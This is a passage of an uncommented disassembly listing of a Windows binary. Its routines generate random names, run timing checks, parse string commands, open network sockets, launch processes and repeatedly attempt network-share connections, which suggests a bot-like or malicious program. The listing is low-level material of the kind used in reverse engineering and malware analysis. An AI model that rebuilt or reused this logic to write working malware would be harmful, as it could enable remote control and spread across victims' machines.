jz short loc_41B7A4
cmp eax, 0FFFFFFFFh
jz short loc_41B7A4
call near ptr 71AB94DCh
nop
cmp eax, 2733h
jz short loc_41B79D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B780
cmp al, 0Dh
jz short loc_41B780
cmp al, bl
jnz short loc_41B788
loc_41B780: ; CODE XREF: ___:0041B776j
; ___:0041B77Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B788: ; CODE XREF: ___:0041B77Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B73F
loc_41B795: ; CODE XREF: ___:0041B73Bj
; ___:0041B741j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B79D: ; CODE XREF: ___:0041B76Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B7A4: ; CODE XREF: ___:0041B75Aj
; ___:0041B75Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B7E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B84A
mov edi, ebp
loc_41B7FF: ; CODE XREF: sub_41B7E0+68j
cmp edi, ebx
jz short loc_41B84A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B84A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
nop
call near ptr 71AB615Ah
test eax, eax
jz short loc_41B859
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B82A
cmp al, bl
jnz short loc_41B83D
loc_41B82A: ; CODE XREF: sub_41B7E0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B837
mov [esi+ebp-1], bl
jmp short loc_41B839
; ---------------------------------------------------------------------------
loc_41B837: ; CODE XREF: sub_41B7E0+4Fj
mov [edi], bl
loc_41B839: ; CODE XREF: sub_41B7E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B83D: ; CODE XREF: sub_41B7E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B7FF
loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj
; sub_41B7E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B859: ; CODE XREF: sub_41B7E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B7E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B880: ; CODE XREF: ___:00401AF0j
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B8DB
loc_41B8A6: ; CODE XREF: ___:0041B8D9j
push 3
push 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B8C7
dec eax
jz short loc_41B8C1
dec eax
jnz short loc_41B8D6
push 7Ah
push 61h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C1: ; CODE XREF: ___:0041B8B6j
push 5Ah
push 41h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C7: ; CODE XREF: ___:0041B8B3j
push 39h
push 30h
loc_41B8CB: ; CODE XREF: ___:0041B8BFj
; ___:0041B8C5j
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B8D6: ; CODE XREF: ___:0041B8B9j
inc esi
cmp esi, ebp
jl short loc_41B8A6
loc_41B8DB: ; CODE XREF: ___:0041B8A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: sub_401424j
rdtsc
retn
sub_41B900 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B920 proc near ; CODE XREF: sub_4017FDj
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_5118D8
push ebp
push esi
push edi
xor ebp, ebp
loc_41B92F: ; CODE XREF: sub_41B920+43j
; sub_41B920+4Dj
call sub_401424
push 3E8h
mov esi, eax
mov edi, edx
call ebx
call sub_401424
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_437C60
push ebp
push 0Ah
push edx
push eax
call sub_437C60
cmp edx, ebp
mov esi, eax
ja short loc_41B92F
jb short loc_41B96F
cmp esi, 0F4240h
ja short loc_41B92F
loc_41B96F: ; CODE XREF: sub_41B920+45j
push ebp
push 64h
push edx
push esi
call sub_437BE0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B9F9
jb short loc_41B98F
cmp ecx, 50h
jnb short loc_41B998
loc_41B98F: ; CODE XREF: sub_41B920+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B998: ; CODE XREF: sub_41B920+6Dj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9A3
cmp ecx, 47h
jnb short loc_41B9AC
loc_41B9A3: ; CODE XREF: sub_41B920+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B9AC: ; CODE XREF: sub_41B920+81j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9B7
cmp ecx, 37h
jnb short loc_41B9C0
loc_41B9B7: ; CODE XREF: sub_41B920+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B9C0: ; CODE XREF: sub_41B920+95j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9CB
cmp ecx, 26h
jnb short loc_41B9D4
loc_41B9CB: ; CODE XREF: sub_41B920+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B9D4: ; CODE XREF: sub_41B920+A9j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9DF
cmp ecx, 1Eh
jnb short loc_41B9E8
loc_41B9DF: ; CODE XREF: sub_41B920+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B9E8: ; CODE XREF: sub_41B920+BDj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9F3
cmp ecx, 0Ah
jnb short loc_41B9F9
loc_41B9F3: ; CODE XREF: sub_41B920+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B9F9: ; CODE XREF: sub_41B920+66j
; sub_41B920+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BA50 proc near ; CODE XREF: sub_402040j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41BA50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_449739
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BBAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_40142E
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C71
mov ebp, eax
call sub_401F0A
lea ecx, [esp+50h+var_3C]
call sub_4013E3
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
nop
call near ptr 28010B2h
test eax, eax
jnz short loc_41BAE6
mov edi, offset byte_448F40
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41BAE6: ; CODE XREF: sub_41BA50+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41BAEF: ; CODE XREF: sub_41BA50+A9j
cmp ecx, eax
jnz short loc_41BAF5
mov bl, 1
loc_41BAF5: ; CODE XREF: sub_41BA50+A1j
inc eax
cmp eax, 5Bh
jl short loc_41BAEF
mov eax, 61h
loc_41BB00: ; CODE XREF: sub_41BA50+BAj
cmp ecx, eax
jnz short loc_41BB06
mov bl, 1
loc_41BB06: ; CODE XREF: sub_41BA50+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BB00
test bl, bl
jnz short loc_41BB32
mov edi, offset byte_448F40
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BB32: ; CODE XREF: sub_41BA50+BEj
mov esi, dword_511AC8
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; rand
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_40142E
mov ebx, 2
mov [esp+4Ch+var_4], ebx
nop
call near ptr 27E0C08h
push eax
nop
call near ptr 77C371BCh
mov edi, dword_511AC8
add esp, 4
call edi ; rand
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015E1
test esi, esi
jle short loc_41BC4E
loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_40142E
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FDC
call edi ; rand
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+54h+var_24]
push offset dword_444E64
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BBF8
loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014D3
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41BA50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD20: ; CODE XREF: ___:00401573j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BD2F
cmp al, 9
jz short loc_41BD2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BD2F: ; CODE XREF: ___:0041BD26j
; ___:0041BD2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD50: ; CODE XREF: ___:00401EF6j
mov eax, [esp+4]
push offset dword_444E6C
push eax
nop
call near ptr 77C3F010h
add esp, 8
test eax, eax
jz short loc_41BD74
push eax
nop
call near ptr 77C40AB1h
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BD74: ; CODE XREF: ___:0041BD65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BD90 proc near ; CODE XREF: sub_401483j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BFEE
mov esi, offset byte_448F40
mov eax, edi
loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
test cl, cl
jz short loc_41BDCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BDAA
loc_41BDCE: ; CODE XREF: sub_41BD90+26j
xor eax, eax
jmp short loc_41BDD7
; ---------------------------------------------------------------------------
loc_41BDD2: ; CODE XREF: sub_41BD90+22j
; sub_41BD90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDD7: ; CODE XREF: sub_41BD90+40j
test eax, eax
jz loc_41BFEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
nop
call near ptr 77C47A90h
mov edi, dword_511B00
lea ecx, [esp+4Ch+var_20]
push offset dword_4447F8
push ecx
call edi ; strtok
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BFEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BE17: ; CODE XREF: sub_41BD90+A4j
push offset dword_4447F8
push 0
call edi ; strtok
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BFEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BE17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_444E88
mov eax, ebp
loc_41BE41: ; CODE XREF: sub_41BD90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
test dl, dl
jz short loc_41BE65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE41
loc_41BE65: ; CODE XREF: sub_41BD90+BDj
xor eax, eax
jmp short loc_41BE6E
; ---------------------------------------------------------------------------
loc_41BE69: ; CODE XREF: sub_41BD90+B9j
; sub_41BD90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BE6E: ; CODE XREF: sub_41BD90+D7j
test eax, eax
jnz short loc_41BE7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE7C: ; CODE XREF: sub_41BD90+E0j
mov esi, offset dword_444E84
mov eax, ebp
loc_41BE83: ; CODE XREF: sub_41BD90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
test dl, dl
jz short loc_41BEA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE83
loc_41BEA7: ; CODE XREF: sub_41BD90+FFj
xor eax, eax
jmp short loc_41BEB0
; ---------------------------------------------------------------------------
loc_41BEAB: ; CODE XREF: sub_41BD90+FBj
; sub_41BD90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEB0: ; CODE XREF: sub_41BD90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BEFA
mov esi, offset dword_444E80
mov edx, edi
loc_41BEBF: ; CODE XREF: sub_41BD90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BEE7
test bl, bl
jz short loc_41BEE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BEE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BEBF
loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj
xor edx, edx
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEE7: ; CODE XREF: sub_41BD90+137j
; sub_41BD90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BEEC: ; CODE XREF: sub_41BD90+155j
test edx, edx
jnz short loc_41BEFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEFA: ; CODE XREF: sub_41BD90+126j
; sub_41BD90+15Ej
mov esi, offset dword_444E7C
mov edx, ebp
loc_41BF01: ; CODE XREF: sub_41BD90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF29
test bl, bl
jz short loc_41BF25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF01
loc_41BF25: ; CODE XREF: sub_41BD90+17Dj
xor edx, edx
jmp short loc_41BF2E
; ---------------------------------------------------------------------------
loc_41BF29: ; CODE XREF: sub_41BD90+179j
; sub_41BD90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF2E: ; CODE XREF: sub_41BD90+197j
test edx, edx
jnz short loc_41BF74
mov esi, offset dword_444E78
mov edx, edi
loc_41BF39: ; CODE XREF: sub_41BD90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF61
test bl, bl
jz short loc_41BF5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF39
loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j
xor edx, edx
jmp short loc_41BF66
; ---------------------------------------------------------------------------
loc_41BF61: ; CODE XREF: sub_41BD90+1B1j
; sub_41BD90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF66: ; CODE XREF: sub_41BD90+1CFj
test edx, edx
jnz short loc_41BF74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BF74: ; CODE XREF: sub_41BD90+1A0j
; sub_41BD90+1D8j
mov esi, offset dword_444E74
mov ecx, ebp
loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
test dl, dl
jz short loc_41BF9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BF7B
loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j
xor ecx, ecx
jmp short loc_41BFA8
; ---------------------------------------------------------------------------
loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j
; sub_41BD90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BFA8: ; CODE XREF: sub_41BD90+211j
test ecx, ecx
jnz short loc_41BFEE
mov esi, offset dword_444E70
mov eax, edi
loc_41BFB3: ; CODE XREF: sub_41BD90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
test cl, cl
jz short loc_41BFD7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BFB3
loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj
xor eax, eax
jmp short loc_41BFE0
; ---------------------------------------------------------------------------
loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj
; sub_41BD90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BFE0: ; CODE XREF: sub_41BD90+249j
test eax, eax
jnz short loc_41BFEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BFEE: ; CODE XREF: sub_41BD90+Dj
; sub_41BD90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BD90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C0A0 proc near ; CODE XREF: sub_402022j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C108
cmp esi, 0FFFFFFFFh
jz short loc_41C108
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
nop
call near ptr 71AB2B66h
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
nop
call near ptr 71AB406Ah
test eax, eax
jnz short loc_41C0F9
mov bl, 1
loc_41C0F9: ; CODE XREF: sub_41C0A0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C108: ; CODE XREF: sub_41C0A0+18j
; sub_41C0A0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41C0A0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C130 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
call near ptr 7CA41110h
nop
cmp eax, 20h
setnl al
retn
sub_41C130 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C170 proc near ; CODE XREF: sub_402167j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
call near ptr 27F04A6h
nop
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C170 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C1E0: ; CODE XREF: ___:00401884j
sub esp, 354h
mov eax, off_444E94
mov ecx, off_444E98
mov [esp+0], eax
mov al, byte_448F40
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444E9C
rep stosd
mov ecx, off_444E8C
mov [esp+10h], edx
mov dx, word_444E90
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
nop
call near ptr 27B0000h
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50DB5C
push offset dword_50DB5C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_43829E
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C2C8
cmp eax, 4C3h
jnz short loc_41C2D1
loc_41C2C8: ; CODE XREF: ___:0041C2BFj
push edi
push edi
push edi
push esi
call sub_43829E
; ---------------------------------------------------------------------------
loc_41C2D1: ; CODE XREF: ___:0041C2C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C2E8
cmp eax, 4C3h
jz short loc_41C2E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: ___:0041C2D6j
; ___:0041C2DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C350: ; CODE XREF: ___:00401EE7j
sub esp, 354h
mov eax, off_444E94
mov ecx, off_444E98
mov [esp+0], eax
mov al, byte_448F40
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444E9C
rep stosd
mov ecx, off_444E8C
mov [esp+10h], edx
mov dx, word_444E90
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
nop
call near ptr 27B0000h
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; wcscat
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; wcscat
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41C438
mov esi, dword_5118D8
loc_41C41C: ; CODE XREF: ___:0041C436j
push 7D0h
call esi
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41C41C
loc_41C438: ; CODE XREF: ___:0041C414j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C490 proc near ; CODE XREF: sub_401D93j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C490
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_41C490 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+24h]
push 6
push edx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+20h]
push 6
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+24h]
push 8
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+28h]
push 8
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+4Ch]
push 8
push ecx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
